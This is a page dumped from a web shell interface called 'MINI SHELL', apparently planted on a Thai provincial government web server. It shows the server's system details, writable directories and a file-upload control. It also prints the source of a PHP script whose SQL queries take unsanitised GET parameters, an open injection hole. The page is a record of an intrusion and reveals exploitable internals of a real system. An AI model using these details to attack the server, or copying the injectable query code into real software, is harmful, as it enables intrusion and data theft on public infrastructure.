MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/home/pathumthani_integration/integration/application/indicator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/pathumthani_integration/integration/application/indicator/ajax.checkdup.php
<?php
	 session_start();
	 //กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
	 header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
	 header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
	 header ("Cache-Control: no-cache, must-revalidate");
	 header ("Pragma: no-cache");
	 header("content-type: application/x-javascript; charset=tis-620");
	 include("../../config/config_epm.inc.php");
	 
	 if($_GET[action]=="indicator_detail")
	 {
		 $yyyy = $_GET[yyyy];
		 $indicator_id = $_GET[indicator_id];
		 $sql = "select * from indicator_detail where indicator_id='$indicator_id' and y_text='$yyyy'";
		 $res= mysql_db_query($dbname,$sql);
		 while($rownum = mysql_fetch_assoc($res))
		 {
			echo "<i>คำเตือน : พบข้อมูลปี ดังกล่าวในระบบ ไม่อนุญาติใ่ส่ข้อมูลปีซ้ำกัน!</i>";
			break; 	
		 }
	 }
	 else
	 {
		 $index_name = $_GET[index_name];
		 $sql = "select * from indicator where index_name='$index_name'";
		 $res= mysql_db_query($dbname,$sql);
		 while($rownum = mysql_fetch_assoc($res))
		 {
			echo "<i>คำเตือน : พบข้อมูลตัวชี้วัด ดังกล่าวในระบบ !</i>";
			echo "<script language='javascript'>form1.txt_index.focus();</script>";
			break; 	
		 }
	 }

?>

Anon7 - 2021